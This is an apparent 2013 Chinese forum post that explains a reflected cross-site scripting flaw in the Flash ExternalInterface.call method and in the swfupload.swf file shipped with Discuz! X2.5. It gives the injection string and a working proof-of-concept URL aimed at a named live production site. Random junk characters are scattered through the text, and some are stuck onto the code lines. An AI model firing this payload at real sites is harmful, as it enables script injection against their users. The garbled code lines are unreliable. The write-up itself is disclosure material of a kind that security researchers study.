找回密码
 立即注册
查看: 2520|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说( J  y, d" D  y. c. Q$ C. e
* r8 h% ?( |8 p& N7 Y
flash.external.ExternalInterface.call($methodName, $parameter)
8 i$ P; \4 M; o& \在浏览器中执行的是
7 B& m: J0 b) }6 _
6 P& }6 c/ Y8 Y$ [% y- m  qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 E. q& k4 M- t5 n: i7 d) I3 s. o对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如4 W% e9 z: T: n! ~# l( W* V

: A) S7 t6 J4 d' Xflash.external.ExternalInterface.call("object."+$methodName, $parameter)6 t' s6 v  ?- }; T% @' {& ~( \
$methodName = a())}catch(e){alert(/xss/)}//7 f$ f, |  e% R3 q
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! J9 O9 o/ Y# s" ^5 ?
/ x. b+ B3 Y5 l- Y, m  ztry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }- c- y; M, T: ^

$ |0 t' S  k+ \+ f3 B这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )! [% z- U% j0 V% Q3 d+ o* y- T
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。. R4 h* P( n2 A* s
. I, w  g6 d. Z  I
+ h/ i+ |, G' {8 e
. G* a7 T) Z! U9 v
漏洞文件:upload\static\image\common\swfupload.swf
3 A) R. Z6 j6 h8 V  r  ]& J  U0 f5 R" G+ z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf  `0 A$ O  I" ^9 b3 w
+ }! v! c# G9 Z4 P" T, o- a4 V& [

6 x" K4 A; C7 L. J2 C/ X漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
2 U8 I  ]3 F9 P0 w  [$ {) F7 y+ G  O8 _) i8 d
$ `8 l. Y& x2 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表